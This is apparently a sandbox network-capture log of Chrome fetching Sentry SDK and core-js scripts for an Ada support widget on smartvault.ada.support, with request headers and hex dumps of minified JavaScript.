2024-04-11 20:35:45 UTC	1630	IN	Data Raw: 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 30 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 31 37 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 5a 28 2d 31 32 64 65 67 29 3b 0a 20 20 20 20 20 20 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 32 33 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 5a 28 31 38 64 65 67 29 3b 0a 20 20 20 20 20 20 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 20 20 20 20 20 20 Data Ascii: ansform: translateY(0); } 17% { transform: rotateZ(-12deg); animation-timing-function: ease-in-out; } 23% { transform: rotateZ(18deg); animation-timing-function: ease-in-out;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
269	192.168.2.4	50154	18.164.124.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:45 UTC	617	OUT	GET /embed/x-storage/e540f3c/sentry.b6985341d53aea5af72f.js HTTP/1.1 Host: smartvault.ada.support Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://smartvault.ada.support/embed/x-storage/e540f3c/index.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:45 UTC	674	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 84742 Connection: close Date: Thu, 11 Apr 2024 00:59:49 GMT Last-Modified: Thu, 28 Mar 2024 16:26:18 GMT Etag: "aa693fab6d2dbff1fc92249379687a31" X-Amz-Server-Side-Encryption: AES256 Cache-Control: 172800 X-Amz-Version-Id: So_uaIR7UXdivMAk1MN7BTroUZCMor89 Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding Via: 1.1 730892e4ac77b2223b5a9c9e3efa1152.cloudfront.net (CloudFront) Age: 70557 Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Cache: Hit from cloudfront X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: dGtvqidbRAdAySEkFQTtJqFXViQ_H6j9OF0AWRLPEQ4vfyzp0DjHfg==
2024-04-11 20:35:45 UTC	15710	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 73 65 6e 74 72 79 2e 62 36 39 38 35 33 34 31 64 35 33 61 65 61 35 61 66 37 32 66 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 61 64 61 5f 73 75 70 70 6f 72 74 5f 65 6d 62 65 64 32 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 61 64 61 5f 73 75 70 70 6f 72 74 5f 65 6d 62 65 64 32 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 38 39 37 5d 2c 7b 35 36 31 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 29 7b 65 2e 64 28 6e 2c 7b 52 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 7d 7d 29 3b 76 61 72 20 72 3d 65 28 36 38 35 36 Data Ascii: /! For license information please see sentry.b6985341d53aea5af72f.js.LICENSE.txt /"use strict";(self.webpackChunk_ada_support_embed2=self.webpackChunk_ada_support_embed2\|\|[]).push([[897],{561:function(t,n,e){e.d(n,{R:function(){return I}});var r=e(6856
2024-04-11 20:35:45 UTC	16384	IN	Data Raw: 63 61 74 65 67 6f 72 79 3a 22 73 65 6e 74 72 79 2e 22 2b 28 22 74 72 61 6e 73 61 63 74 69 6f 6e 22 3d 3d 3d 74 2e 74 79 70 65 3f 22 74 72 61 6e 73 61 63 74 69 6f 6e 22 3a 22 65 76 65 6e 74 22 29 2c 65 76 65 6e 74 5f 69 64 3a 74 2e 65 76 65 6e 74 5f 69 64 2c 6c 65 76 65 6c 3a 74 2e 6c 65 76 65 6c 2c 6d 65 73 73 61 67 65 3a 28 30 2c 73 2e 6a 48 29 28 74 29 7d 2c 7b 65 76 65 6e 74 3a 74 7d 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 75 70 4f 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3b 74 68 69 73 2e 5f 6f 70 74 69 6f 6e 73 2e 63 6f 6e 73 6f 6c 65 26 26 28 30 2c 61 2e 6f 29 28 22 63 6f 6e 73 6f 6c 65 22 2c 6c 29 2c 74 68 69 73 2e 5f 6f 70 74 69 6f 6e 73 2e 64 6f 6d 26 26 28 30 2c 61 2e 6f 29 28 22 64 6f 6d 22 2c 28 74 3d 74 68 69 Data Ascii: category:"sentry."+("transaction"===t.type?"transaction":"event"),event_id:t.event_id,level:t.level,message:(0,s.jH)(t)},{event:t})},t.prototype.setupOnce=function(){var t;this._options.console&&(0,a.o)("console",l),this._options.dom&&(0,a.o)("dom",(t=thi
2024-04-11 20:35:45 UTC	16384	IN	Data Raw: 76 61 72 20 6f 3d 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 26 26 74 3e 30 26 26 65 28 21 31 29 7d 29 2c 74 29 3b 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 28 30 2c 70 2e 57 44 29 28 74 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 2d 2d 69 7c 7c 28 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 6f 29 2c 65 28 21 30 29 29 7d 29 2c 72 29 7d 29 29 7d 29 29 7d 7d 7d 28 33 30 29 2c 74 68 69 73 2e 5f 72 61 74 65 4c 69 6d 69 74 73 3d 7b 7d 2c 74 68 69 73 2e 5f 6f 75 74 63 6f 6d 65 73 3d 7b 7d 2c 74 68 69 73 2e 5f 61 70 69 3d 28 30 2c 69 2e 68 64 29 28 74 2e 64 73 6e 2c 74 2e 5f 6d 65 74 61 64 61 74 61 2c 74 2e 74 75 6e 6e 65 6c 29 2c 74 68 69 73 2e 75 72 6c 3d 28 30 2c 69 2e 71 69 29 28 74 68 69 73 2e Data Ascii: var o=setTimeout((function(){t&&t>0&&e(!1)}),t);n.forEach((function(t){(0,p.WD)(t).then((function(){--i\|\|(clearTimeout(o),e(!0))}),r)}))}))}}}(30),this._rateLimits={},this._outcomes={},this._api=(0,i.hd)(t.dsn,t._metadata,t.tunnel),this.url=(0,i.qi)(this.
2024-04-11 20:35:45 UTC	16384	IN	Data Raw: 74 75 72 6e 28 30 2c 66 2e 4a 72 29 28 7b 73 69 64 3a 22 22 2b 74 68 69 73 2e 73 69 64 2c 69 6e 69 74 3a 74 68 69 73 2e 69 6e 69 74 2c 73 74 61 72 74 65 64 3a 6e 65 77 20 44 61 74 65 28 31 65 33 2a 74 68 69 73 2e 73 74 61 72 74 65 64 29 2e 74 6f 49 53 4f 53 74 72 69 6e 67 28 29 2c 74 69 6d 65 73 74 61 6d 70 3a 6e 65 77 20 44 61 74 65 28 31 65 33 2a 74 68 69 73 2e 74 69 6d 65 73 74 61 6d 70 29 2e 74 6f 49 53 4f 53 74 72 69 6e 67 28 29 2c 73 74 61 74 75 73 3a 74 68 69 73 2e 73 74 61 74 75 73 2c 65 72 72 6f 72 73 3a 74 68 69 73 2e 65 72 72 6f 72 73 2c 64 69 64 3a 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 74 68 69 73 2e 64 69 64 7c 7c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 68 69 73 2e 64 69 64 3f 22 22 2b 74 68 69 73 2e 64 69 64 3a 76 Data Ascii: turn(0,f.Jr)({sid:""+this.sid,init:this.init,started:new Date(1e3this.started).toISOString(),timestamp:new Date(1e3this.timestamp).toISOString(),status:this.status,errors:this.errors,did:"number"==typeof this.did\|\|"string"==typeof this.did?""+this.did:v
2024-04-11 20:35:45 UTC	16384	IN	Data Raw: 62 6c 69 63 4b 65 79 3a 74 2e 70 75 62 6c 69 63 4b 65 79 7c 7c 22 22 2c 70 61 73 73 3a 74 2e 70 61 73 73 7c 7c 22 22 2c 68 6f 73 74 3a 74 2e 68 6f 73 74 2c 70 6f 72 74 3a 74 2e 70 6f 72 74 7c 7c 22 22 2c 70 61 74 68 3a 74 2e 70 61 74 68 7c 7c 22 22 2c 70 72 6f 6a 65 63 74 49 64 3a 74 2e 70 72 6f 6a 65 63 74 49 64 7d 7d 66 75 6e 63 74 69 6f 6e 20 63 28 74 29 7b 76 61 72 20 6e 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 73 2e 65 78 65 63 28 74 29 3b 69 66 28 21 6e 29 74 68 72 6f 77 20 6e 65 77 20 6f 2e 62 28 22 49 6e 76 61 6c 69 64 20 53 65 6e 74 72 79 20 44 73 6e 3a 20 22 2b 74 29 3b 76 61 72 20 65 3d 28 30 2c 72 2e 43 52 29 28 6e 2e 73 6c 69 63 65 28 31 29 2c 36 29 2c 69 3d 65 5b 30 5d Data Ascii: blicKey:t.publicKey\|\|"",pass:t.pass\|\|"",host:t.host,port:t.port\|\|"",path:t.path\|\|"",projectId:t.projectId}}function c(t){var n="string"==typeof t?function(t){var n=s.exec(t);if(!n)throw new o.b("Invalid Sentry Dsn: "+t);var e=(0,r.CR)(n.slice(1),6),i=e[0]
2024-04-11 20:35:45 UTC	3496	IN	Data Raw: 74 69 6f 6e 20 63 28 29 7b 69 66 28 21 73 28 29 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 52 65 71 75 65 73 74 28 22 5f 22 2c 7b 72 65 66 65 72 72 65 72 50 6f 6c 69 63 79 3a 22 6f 72 69 67 69 6e 22 7d 29 2c 21 30 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 28 29 7b 76 61 72 20 74 3d 28 30 2c 69 2e 52 29 28 29 2c 6e 3d 74 2e 63 68 72 6f 6d 65 2c 65 3d 6e 26 26 6e 2e 61 70 70 26 26 6e 2e 61 70 70 2e 72 75 6e 74 69 6d 65 2c 72 3d 22 68 69 73 74 6f 72 79 22 69 6e 20 74 26 26 21 21 74 2e 68 69 73 74 6f 72 79 2e 70 75 73 68 53 74 61 74 65 26 26 21 21 74 2e 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 3b 72 65 74 75 72 6e 21 65 26 26 72 7d 7d 2c 36 38 39 33 3a 66 75 6e Data Ascii: tion c(){if(!s())return!1;try{return new Request("_",{referrerPolicy:"origin"}),!0}catch(t){return!1}}function f(){var t=(0,i.R)(),n=t.chrome,e=n&&n.app&&n.app.runtime,r="history"in t&&!!t.history.pushState&&!!t.history.replaceState;return!e&&r}},6893:fun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
270	192.168.2.4	50156	18.164.124.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:45 UTC	595	OUT	GET /embed/x-storage/e540f3c/index.js HTTP/1.1 Host: smartvault.ada.support Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://smartvault.ada.support/embed/x-storage/e540f3c/index.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:45 UTC	673	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 23654 Connection: close Last-Modified: Thu, 28 Mar 2024 16:26:18 GMT X-Amz-Server-Side-Encryption: AES256 X-Amz-Version-Id: esvcZ7TYV.dZbYW2pEcEDk6NOg6VMeZN Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 11 Apr 2024 20:07:57 GMT Cache-Control: 172800 Etag: "bb0c5765d7835c1338adbbf4dfe7860b" Vary: Accept-Encoding Via: 1.1 a1128ada13f2f3694bc79e73c9d5598e.cloudfront.net (CloudFront) Age: 1669 Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Cache: Hit from cloudfront X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: Hk_WNdOfuMmIi_3THgPaA2mqpMsId3LGm02c_-pa8N7sHYHnWD602A==
2024-04-11 20:35:45 UTC	16384	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 2c 65 3d 7b 32 37 34 30 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 74 68 69 73 26 26 74 68 69 73 2e 5f 5f 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 2c 6e 3d 31 2c 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 66 6f 72 28 76 61 72 20 6f 20 69 6e 20 65 3d 61 72 67 75 6d 65 6e 74 73 5b 6e 5d 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 65 2c 6f 29 26 26 28 74 5b 6f 5d 3d 65 5b 6f 5d 29 3b 72 65 74 75 Data Ascii: !function(){var t,e={2740:function(t,e){"use strict";var n=this&&this.__assign\|\|function(){return n=Object.assign\|\|function(t){for(var e,n=1,r=arguments.length;n<r;n++)for(var o in e=arguments[n])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);retu
2024-04-11 20:35:45 UTC	7270	IN	Data Raw: 3f 22 70 75 72 65 22 3a 22 67 6c 6f 62 61 6c 22 2c 63 6f 70 79 72 69 67 68 74 3a 22 c2 a9 20 32 30 31 34 2d 32 30 32 32 20 44 65 6e 69 73 20 50 75 73 68 6b 61 72 65 76 20 28 7a 6c 6f 69 72 6f 63 6b 2e 72 75 29 22 2c 6c 69 63 65 6e 73 65 3a 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 7a 6c 6f 69 72 6f 63 6b 2f 63 6f 72 65 2d 6a 73 2f 62 6c 6f 62 2f 76 33 2e 32 31 2e 30 2f 4c 49 43 45 4e 53 45 22 2c 73 6f 75 72 63 65 3a 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 7a 6c 6f 69 72 6f 63 6b 2f 63 6f 72 65 2d 6a 73 22 7d 29 7d 2c 34 35 32 39 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 6e 28 37 30 32 36 29 2c 6f 3d 6e 28 38 32 31 39 29 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 Data Ascii: ?"pure":"global",copyright:" 2014-2022 Denis Pushkarev (zloirock.ru)",license:"https://github.com/zloirock/core-js/blob/v3.21.0/LICENSE",source:"https://github.com/zloirock/core-js"})},4529:function(t,e,n){var r=n(7026),o=n(8219);t.exports=function(t){r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
271	192.168.2.4	50155	18.164.124.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:45 UTC	611	OUT	GET /embed/button/e540f3c/sentry.b6985341d53aea5af72f.js HTTP/1.1 Host: smartvault.ada.support Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://smartvault.ada.support/embed/button/e540f3c/index.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:45 UTC	674	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 84742 Connection: close Date: Thu, 11 Apr 2024 17:26:42 GMT Last-Modified: Thu, 28 Mar 2024 16:26:18 GMT Etag: "aa693fab6d2dbff1fc92249379687a31" X-Amz-Server-Side-Encryption: AES256 Cache-Control: 172800 X-Amz-Version-Id: gEf6vER.SUPBj010ntsMOYTJlIyhnwoH Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding Via: 1.1 909ec3586e2eba60d35c2f3468905558.cloudfront.net (CloudFront) Age: 11344 Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Cache: Hit from cloudfront X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: y1jWWn0Z9tPfRlNAcEYocNZcQTSlUW8zo2RavgRZijlWGX885zbXzQ==
2024-04-11 20:35:45 UTC	16384	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 73 65 6e 74 72 79 2e 62 36 39 38 35 33 34 31 64 35 33 61 65 61 35 61 66 37 32 66 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 61 64 61 5f 73 75 70 70 6f 72 74 5f 65 6d 62 65 64 32 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 61 64 61 5f 73 75 70 70 6f 72 74 5f 65 6d 62 65 64 32 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 38 39 37 5d 2c 7b 35 36 31 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 29 7b 65 2e 64 28 6e 2c 7b 52 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 7d 7d 29 3b 76 61 72 20 72 3d 65 28 36 38 35 36 Data Ascii: /! For license information please see sentry.b6985341d53aea5af72f.js.LICENSE.txt /"use strict";(self.webpackChunk_ada_support_embed2=self.webpackChunk_ada_support_embed2\|\|[]).push([[897],{561:function(t,n,e){e.d(n,{R:function(){return I}});var r=e(6856
2024-04-11 20:35:45 UTC	16384	IN	Data Raw: 28 30 2c 61 2e 6f 29 28 22 68 69 73 74 6f 72 79 22 2c 76 29 7d 2c 74 2e 69 64 3d 22 42 72 65 61 64 63 72 75 6d 62 73 22 2c 74 7d 28 29 3b 66 75 6e 63 74 69 6f 6e 20 6c 28 74 29 7b 76 61 72 20 6e 2c 65 3d 7b 63 61 74 65 67 6f 72 79 3a 22 63 6f 6e 73 6f 6c 65 22 2c 64 61 74 61 3a 7b 61 72 67 75 6d 65 6e 74 73 3a 74 2e 61 72 67 73 2c 6c 6f 67 67 65 72 3a 22 63 6f 6e 73 6f 6c 65 22 7d 2c 6c 65 76 65 6c 3a 28 6e 3d 74 2e 6c 65 76 65 6c 2c 22 77 61 72 6e 22 3d 3d 3d 6e 3f 6f 2e 7a 2e 57 61 72 6e 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 2d 31 21 3d 3d 6f 2e 61 2e 69 6e 64 65 78 4f 66 28 74 29 7d 28 6e 29 3f 6e 3a 6f 2e 7a 2e 4c 6f 67 29 2c 6d 65 73 73 61 67 65 3a 28 30 2c 63 2e 6e 4b 29 28 74 2e 61 72 67 73 2c 22 20 22 29 7d 3b 69 66 28 Data Ascii: (0,a.o)("history",v)},t.id="Breadcrumbs",t}();function l(t){var n,e={category:"console",data:{arguments:t.args,logger:"console"},level:(n=t.level,"warn"===n?o.z.Warning:function(t){return-1!==o.a.indexOf(t)}(n)?n:o.z.Log),message:(0,c.nK)(t.args," ")};if(
2024-04-11 20:35:45 UTC	16384	IN	Data Raw: 2e 73 64 6b 7c 7c 7b 7d 2c 74 2e 73 64 6b 2e 6e 61 6d 65 3d 74 2e 73 64 6b 2e 6e 61 6d 65 7c 7c 6e 2e 6e 61 6d 65 2c 74 2e 73 64 6b 2e 76 65 72 73 69 6f 6e 3d 74 2e 73 64 6b 2e 76 65 72 73 69 6f 6e 7c 7c 6e 2e 76 65 72 73 69 6f 6e 2c 74 2e 73 64 6b 2e 69 6e 74 65 67 72 61 74 69 6f 6e 73 3d 28 30 2c 6f 2e 66 6c 29 28 74 2e 73 64 6b 2e 69 6e 74 65 67 72 61 74 69 6f 6e 73 7c 7c 5b 5d 2c 6e 2e 69 6e 74 65 67 72 61 74 69 6f 6e 73 7c 7c 5b 5d 29 2c 74 2e 73 64 6b 2e 70 61 63 6b 61 67 65 73 3d 28 30 2c 6f 2e 66 6c 29 28 74 2e 73 64 6b 2e 70 61 63 6b 61 67 65 73 7c 7c 5b 5d 2c 6e 2e 70 61 63 6b 61 67 65 73 7c 7c 5b 5d 29 29 7d 28 74 2c 6e 2e 6d 65 74 61 64 61 74 61 2e 73 64 6b 29 2c 74 2e 74 61 67 73 3d 74 2e 74 61 67 73 7c 7c 7b 7d 2c 74 2e 65 78 74 72 61 3d 74 Data Ascii: .sdk\|\|{},t.sdk.name=t.sdk.name\|\|n.name,t.sdk.version=t.sdk.version\|\|n.version,t.sdk.integrations=(0,o.fl)(t.sdk.integrations\|\|[],n.integrations\|\|[]),t.sdk.packages=(0,o.fl)(t.sdk.packages\|\|[],n.packages\|\|[]))}(t,n.metadata.sdk),t.tags=t.tags\|\|{},t.extra=t
2024-04-11 20:35:45 UTC	16384	IN	Data Raw: 70 28 29 2e 63 6c 69 65 6e 74 3d 74 2c 74 26 26 74 2e 73 65 74 75 70 49 6e 74 65 67 72 61 74 69 6f 6e 73 26 26 74 2e 73 65 74 75 70 49 6e 74 65 67 72 61 74 69 6f 6e 73 28 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 70 75 73 68 53 63 6f 70 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 63 2e 73 2e 63 6c 6f 6e 65 28 74 68 69 73 2e 67 65 74 53 63 6f 70 65 28 29 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 65 74 53 74 61 63 6b 28 29 2e 70 75 73 68 28 7b 63 6c 69 65 6e 74 3a 74 68 69 73 2e 67 65 74 43 6c 69 65 6e 74 28 29 2c 73 63 6f 70 65 3a 74 7d 29 2c 74 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 70 6f 70 53 63 6f 70 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 28 74 68 69 73 2e 67 65 74 53 74 61 63 6b 28 29 2e 6c 65 6e 67 74 68 3c Data Ascii: p().client=t,t&&t.setupIntegrations&&t.setupIntegrations()},t.prototype.pushScope=function(){var t=c.s.clone(this.getScope());return this.getStack().push({client:this.getClient(),scope:t}),t},t.prototype.popScope=function(){return!(this.getStack().length<
2024-04-11 20:35:45 UTC	16384	IN	Data Raw: 6f 77 20 6e 65 77 20 6f 2e 62 28 22 49 6e 76 61 6c 69 64 20 53 65 6e 74 72 79 20 44 73 6e 3a 20 22 2b 6e 2b 22 20 6d 69 73 73 69 6e 67 22 29 7d 29 29 2c 21 65 2e 6d 61 74 63 68 28 2f 5e 5c 64 2b 24 2f 29 29 74 68 72 6f 77 20 6e 65 77 20 6f 2e 62 28 22 49 6e 76 61 6c 69 64 20 53 65 6e 74 72 79 20 44 73 6e 3a 20 49 6e 76 61 6c 69 64 20 70 72 6f 6a 65 63 74 49 64 20 22 2b 65 29 3b 69 66 28 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 22 68 74 74 70 22 3d 3d 3d 74 7c 7c 22 68 74 74 70 73 22 3d 3d 3d 74 7d 28 72 29 29 74 68 72 6f 77 20 6e 65 77 20 6f 2e 62 28 22 49 6e 76 61 6c 69 64 20 53 65 6e 74 72 79 20 44 73 6e 3a 20 49 6e 76 61 6c 69 64 20 70 72 6f 74 6f 63 6f 6c 20 22 2b 72 29 3b 69 66 28 6e 26 26 69 73 4e 61 4e 28 70 61 72 73 65 49 6e 74 28 Data Ascii: ow new o.b("Invalid Sentry Dsn: "+n+" missing")})),!e.match(/^\d+$/))throw new o.b("Invalid Sentry Dsn: Invalid projectId "+e);if(!function(t){return"http"===t\|\|"https"===t}(r))throw new o.b("Invalid Sentry Dsn: Invalid protocol "+r);if(n&&isNaN(parseInt(
2024-04-11 20:35:45 UTC	2822	IN	Data Raw: 4a 38 29 28 65 29 3f 65 2e 74 68 65 6e 28 6e 2e 5f 72 65 73 6f 6c 76 65 2c 6e 2e 5f 72 65 6a 65 63 74 29 3a 28 6e 2e 5f 73 74 61 74 65 3d 74 2c 6e 2e 5f 76 61 6c 75 65 3d 65 2c 6e 2e 5f 65 78 65 63 75 74 65 48 61 6e 64 6c 65 72 73 28 29 29 29 7d 2c 74 68 69 73 2e 5f 65 78 65 63 75 74 65 48 61 6e 64 6c 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 30 21 3d 3d 6e 2e 5f 73 74 61 74 65 29 7b 76 61 72 20 74 3d 6e 2e 5f 68 61 6e 64 6c 65 72 73 2e 73 6c 69 63 65 28 29 3b 6e 2e 5f 68 61 6e 64 6c 65 72 73 3d 5b 5d 2c 74 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 5b 30 5d 7c 7c 28 31 3d 3d 3d 6e 2e 5f 73 74 61 74 65 26 26 74 5b 31 5d 28 6e 2e 5f 76 61 6c 75 65 29 2c 32 3d 3d 3d 6e 2e 5f 73 74 61 74 65 26 26 74 5b 32 5d 28 6e 2e 5f Data Ascii: J8)(e)?e.then(n._resolve,n._reject):(n._state=t,n._value=e,n._executeHandlers()))},this._executeHandlers=function(){if(0!==n._state){var t=n._handlers.slice();n._handlers=[],t.forEach((function(t){t[0]\|\|(1===n._state&&t[1](n._value),2===n._state&&t[2](n._

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
272	192.168.2.4	50158	18.164.124.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:45 UTC	589	OUT	GET /embed/button/e540f3c/index.js HTTP/1.1 Host: smartvault.ada.support Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://smartvault.ada.support/embed/button/e540f3c/index.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
